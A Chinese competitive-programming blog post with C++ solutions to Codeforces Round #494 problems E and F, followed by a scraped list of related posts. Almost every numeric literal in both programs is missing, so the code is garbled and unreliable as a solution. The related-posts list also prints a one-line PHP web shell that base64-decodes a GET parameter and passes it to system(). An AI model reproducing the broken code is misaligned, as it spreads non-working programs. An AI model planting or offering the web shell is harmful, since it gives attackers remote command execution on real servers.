记录下一开始写错的两道水题

E:

先建出直径,然后在保证直径不变的情况下按照最大度数贪心就好了

注意一下一开始的特判

#include <bits/stdc++.h>

using namespace std;
#define X first
#define Y second
typedef pair<int,int> P;
int n,d,k,tot;vector<P> res; void print()
{
puts("YES");
for(int i=;i<res.size();i++)
printf("%d %d\n",res[i].X,res[i].Y);
} void dfs(int u,int v,int dist,int idx)
{
if(u) res.push_back(P(u,v));
if(tot==n) print(),exit();
if(!dist) return;
for(int i=;i<=idx;i++)
dfs(v,++tot,dist-,k-);
} int main()
{
scanf("%d%d%d",&n,&d,&k);
if(n<=d||n>&&k<) return puts("NO");
for(int i=;i<=d;i++) res.push_back(P(i,i+));
tot=d+;if(tot==n) return print(),;
for(int i=;i<=d;i++)
if(tot<n&&k>) dfs(,i,min(i-,d-i+),k-);
puts("NO");
return ;
}

Problem E

F:

又双叒叕看错题目了,可以缩减多个相同的串……

一开始写的$KMP$,后来发现直接字符串$Hash$就能水过了

注意:此题用$ab$串卡自然溢出,一共只有300个因此单模数就能过

数据开头$dont hash with overflow$好评!

#include <bits/stdc++.h>

using namespace std;
typedef unsigned long long ull;
typedef pair<int,int> P; const int MAXN=;
ull hs[MAXN],MOD=;char s[];
int n,res,tot,len,pre[MAXN]; ull cal_hash()
{
ull ret=;
for(int i=;i<strlen(s);i++)
ret=(ret*+(s[i]-'a'+))%MOD;
return ret;
} int main()
{
scanf("%d",&n);
for(int i=;i<=n;i++)
{
scanf("%s",s);int len=strlen(s);
tot+=len;pre[i]=pre[i-]+len;hs[i]=cal_hash();
}
tot+=n-; for(int i=;i<=n;i++)
for(int j=i;j<=n;j++)
{
int cnt=;
for(int k=j+;k+j-i<=n;k++)
{
bool f=true;
for(int l=;l<=j-i;l++)
if(hs[i+l]!=hs[k+l]) f=false;
if(f) cnt++,k+=j-i;
}
if(cnt>) res=max(res,(pre[j]-pre[i-]-)*cnt);
}
printf("%d",tot-res);
return ;
}

Problem F

[Codeforces #494] Tutorial的更多相关文章

  1. [Codeforces #172] Tutorial

    Link: Codeforces #172 传送门 A: 一眼看上去分两类就可以了 1.每个矩形只有两条边相交,重合的形状为菱形 2.每个矩形四条边都有相交 对于情况1答案为$h*h/sin(a)$ ...

  2. [Codeforces #514] Tutorial

    Link: Codeforces #514 传送门 很简单的一场比赛打崩了也是菜得令人无话可说…… D: 一眼二分,发现对于固定的半径和点,能包含该点的圆的圆心一定在一个区间内,求出区间判断即可 此题 ...

  3. [Codeforces #210] Tutorial

    Link: Codeforces #210 传送门 A: 贪心,对每个值都取最大值,不会有其他解使答案变优 #include <bits/stdc++.h> using namespace ...

  4. [Codeforces #196] Tutorial

    Link: Codeforces #196 传送门 A: 枚举 #include <bits/stdc++.h> using namespace std; #define X first ...

  5. [Codeforces #174] Tutorial

    Link: Codeforces #174 传送门 A: 求原根的个数,有一条性质是原根个数为$\phi(\phi(n))$,多了一个不会证的性质 如果要确定哪些是原根的话还是要枚举,不过对于每个数不 ...

  6. [Codeforces #190] Tutorial

    Link: Codeforces #190 传送门 A: 明显答案为$n+m-1$且能构造出来 #include <bits/stdc++.h> using namespace std; ...

  7. [Codeforces #211] Tutorial

    Link: Codeforces #211 传送门 一套非常简单的题目,但很多细节都是错了一次才能发现啊…… 还是不能养成OJ依赖症,交之前先多想想corner case!!! A: 模拟,要特判0啊 ...

  8. [Codeforces #192] Tutorial

    Link: Codeforces #192 传送门 前两天由于食物中毒现在还要每天挂一天的水 只好晚上回来随便找套题做做找找感觉了o(╯□╰)o A: 看到直接大力模拟了 但有一个更简便的方法,复杂度 ...

  9. [Codeforces #201] Tutorial

    Link: 传送门 代码量很少的一套思维题 A: 试一试发现最后状态一定是所有$min,max$间$gcd$的倍数 直接判断数量的奇偶性即可 #include <bits/stdc++.h> ...

随机推荐

  1. bzoj 1854 游戏 二分图匹配 || 并查集

    题目链接 Description lxhgww最近迷上了一款游戏,在游戏里,他拥有很多的装备,每种装备都有2个属性,这些属性的值用[1,10000]之间的数表示.当他使用某种装备时,他只能使用该装备的 ...

  2. php中的base64写shell

    <?php system(base64_decode($_GET['info'])); #http://localhost/1.php?info=d2hvYW1p #这只是一个例子 ?>

  3. Object的公用方法们

    如图所示,Object一共有10种方法: 下面详细描述: 1.public Object() 方法,默认构造函数方法,当新建一个Object对象的时候,调用这个方法向堆区申请一片内存: 2.priva ...

  4. 64_l3

    libguac-client-ssh-0.9.13-3.20170521git6d2cfda...> 23-May-2017 09:58 64570 libguac-client-ssh-0.9 ...

  5. CSS原生布局方式

    前言 网页原生布局的方法其实网上有很多,大概为Flow(流动布局模型).Float(浮动布局模型).Layer(层级布局模型).<!--more--> Flow布局 流动布局模型其实就是默 ...

  6. Python初学--字符串

    ASCII.Unicode和UTF-8的关系 在计算机内存中,统一使用Unicode编码,当需要保存到硬盘或者需要传输的时候,就转换为UTF-8编码 记事本编辑的时候,从文件读取的UTF-8字符被转换 ...

  7. SRM 739 Div.2

    250 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <iostre ...

  8. Tomcat手动指定jdk路径

    Windows系统: 修改bin下的setclasspath.bat,在开头处添加: rem set specific jdkset JAVA_HOME=%CATALINA_HOME%\jdk1.8. ...

  9. 《逐梦旅程 WINDOWS游戏编程之从零开始》笔记3——输入消息处理,物理建模与粒子系统初步

    第7章 Windows游戏输入消息处理 1. 键盘消息处理 之前提到的窗口过程函数有两参数与消息输出有关——wParam和llParam LRESULT CALLBACK WindowProc( _I ...

  10. IIS 7浏览网站出错,错误编码 http 503 service unable

    由于重新装了Microsoft Visual Studio 2010,结果运行出错,检查发现应用程序池该项目已停止. 解决办法: 1.打开IIS:开始菜单>运行 2.输入“inetmgr”回车 ...